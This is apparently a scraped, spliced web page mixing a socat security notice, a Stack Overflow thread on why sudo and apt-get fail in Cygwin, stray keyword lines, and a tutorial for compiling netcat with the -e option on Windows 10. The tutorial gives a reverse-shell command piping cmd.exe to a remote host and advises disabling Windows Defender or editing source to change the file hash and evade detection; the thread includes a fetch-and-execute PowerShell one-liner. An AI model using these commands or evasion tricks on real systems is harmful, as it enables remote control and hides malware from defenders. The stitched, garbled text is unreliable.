2013-05-26: Socat versions 1.7.2.2 and 2.0.0-b6 fix a security issue: Under certain circumstances an FD leak occurs and may be misused for denial of service attacks against socat running in server mode (CVE-2013-3571, advisory).
Proxmark3 Installation on Kali; DefCon CtF Quals 2014 writeup – hackertool; Cisco IPSec VPN Client Reason442: Failed to Enable Virtual Adapter; PlaidCTF 2013 – Crypto 250 Compression Writeup; Verizon FiOS and PS3 Media Server Streaming Issues; Socat compilation on Cygwin. Run setup-x8664.exe any time you want to update or install a Cygwin package for 64-bit windows. The signature for setup-x8664.exe can be used to verify the validity of this binary. Installing and Updating Cygwin for 32-bit versions of Windows Run setup-x86.exe any time you want to update or install a Cygwin package for 32-bit windows.
I am currently trying to install and update a few packages on a Windows OS. The only matter is that I am using Cygwin in order to type the commands through a terminal (as I'm aware, I can type in Linux type commands such as cd, ls etc. Download film drama korea terbaru 2015 subtitle indonesia. on Cygwin - I may be wrong). However, when I try to install a package like:
I get the reply:
Does anyone have an idea as to how I can fix this problem?
7 Answers
Cygwin is not a full Linux distribution. Therefore you don't have sudo or the Debian/Ubuntu package manager apt-get. There is a number of packages available from the Cygwin repository: http://cygwin.com/packages/You have to chose these packages during setup.
Run cygwin as administrator. then you wouldn't need any sudo command.
Windows does not have sudo, apt, or almost any Linux commands to be exact. Cygwin may allow some, but as programs are not installed on Windows as packages apt-get will not work. Windows programs have installers as .exe or .msi instead.
The Windows version of sudo is called runas in case you need to run something as another user. Or, you can run Cygwin as administrator.
If you have to use the packages you need Linux. You can install it directly to replace Windows, dual-boot or use a virtualization software like VMware VirtualBox.
Making out an explanatory answer from answer here by @Aimal as it worked for me.
Cygwin
may not get permissions to create folders and files
when run by clicking Cygwin
icon that's in normal mode.
Yum Install Socat
Cygwin
gets the right authorization only when right click -> 'run as adminitrator'
on cygwin icon
because of that it gets permissions to create folders and files
.
Cygwin lets you run certain commands, such as cd, ls, or mv; but it doesn't let you run other commands, such as sudo or apt-get.
If you're trying to add a package to your Cygwin installation, rerun Cygwin Setup. It may still be in your 'Downloads' folder. Go through all the steps again. The Cygwin installer will automatically download and install the package you want, and add it to your Cygwin installation. (I think it will probably also upgrade all your other installed Cygwin packages to the latest available versions.)
If your desired package isn't on the Cygwin package list but is on the Cygwin Ports package list, follow the Cygwin Ports installation instructions. Note that Cygwin Ports is separate from Cygwin. Please do not send messages about Cygwin Ports packages to the cygwin.com mailing lists.
If you have years of Linux experience, you may be able to compile the software you want inside Cygwin. This can be challenging.
Perhaps an option simpler than 'compile it yourself' is this: You can install VirtualBox, then install your favorite Linux distribution inside the virtual machine, then install your desired package inside Linux. (I like Ubuntu Linux, which has more than 27,000 packages in its 'Universe' repository.) Now you can run Linux and Windows at the same time.
I think I tried steps below after doing some research & succeeded (on windows)
1.Install scoop using powershell 3 (iex (new-object net.webclient).downloadstring('https://get.scoop.sh'))2. do scoop install --global sudo3. make sure paths (C:Usersscoopshims & C:ProgramDatascoopshims) added in environmental path variable.
In my case, I wanted to install curl, but could not create directory /usr/local/curl/lib when running command 'make install', because of permission deny. so i need to change /usr/local permission. when i run sudo chmod 755 /usr/local, sudo command not found.
after searching a few solution, found that sudo is not installed by default in Cygwin. But I tried the solution that Aimal gave which is to run Cygwin as administrator. I finally can change the folder permission. Thanks Aimal.
Not the answer you're looking for? Browse other questions tagged windowsterminalcygwinsudo or ask your own question.
These steps will compile an executable (default: nc.exe) on a Windows 10 machine. This build will enable the “-e” command line option (also known as “GAPING_SECURITY_HOLE”). The “-e” option allows you to pass a command into NetCat; example:
To create a reverse shell:
nc <remote control machine> <remote control port> -e cmd.exe
The caveat for Windows 10 is that Window’s Defender detects nc.exe as being “malware” and deletes it. Therefore beware the git repo we use here does have a compiled version. If you have Windows Defender active this file will likely be deleted. When you compile a new nc.exe it too will likely be deleted.
Window Defender Workaround
Socat Download
You have two easy options to get around Window Defender.
- Disable Windows Defender while you use netcat or;
- Before you compile edit a source file. There are numerous areas, especially in netcat.c where status messages (such as at line 381) are sent as output to a terminal. If you change the message, then compile, you will change the hash of the file. Windows Defender seems to be largely tied to file hashes.
Let’s Build NetCat
It is useful if you are using an account with elevated permissions.
1) Download the Windows NetCat source code.
2) Download MinGW
3) Configure MinGW
3a) If the MinGW “Installation Manager” does not auto-start after the installation of MinGW has completed run it:
Start>MinGW Installation Manager
4) From the MinGW Installation Manager I needed to select the following plugins:
4a) mingw32-developer-toolkit
4b) mingw32-base
4c) mingw32-gcc-g++
4d) mingw32-gcc-objc
4e) mysys-base
5) Apply the selected plugins:
Installation > Apply Changes
6) Make sure your PATH system variable includes a reference to the MinGW DLLs.
6a) The default path is:
C:MinGWbin
6b) Start > Control Panel > Advanced Settings > Environment Variables
6c) Select “Path” from “User variables for [your user name]”.
6d) Select Edit…
6e) Add the path the the DLL folder (default: c:MinGWbin).
6f) Apply Changes / Close Control Panel Windows
6g) Restart Windows
7) Verify the gcc compiler is includes references to the DLL path.
7a) Open CMD and type:
gcc -print-search-dirs
7b) Amoung other things you should see references to /mingw32/bin
8) Still in CMD navigate to the folder which holds the NetCat source files.
8a) Run makewin.cmd
8b) You may get the following error:
Install Socat On Windows
Access is denied.
0 file(s) copied.
Operation Completed
As long as there are no other errors (not talking about warnings) you should be fine. What happens is the default makewin.cmd script attempts to copy the newly complied nc.exe file into your system32 folder (which if you get this error cannot be done because that folder is protected). This error can be ignored as you have the compiled binary in the folder you are currently in.
8c) There will be some warnings that look like errors.
You now have a compiled nc.exe which is able to run on Windows 10. You can pass in the -e argument.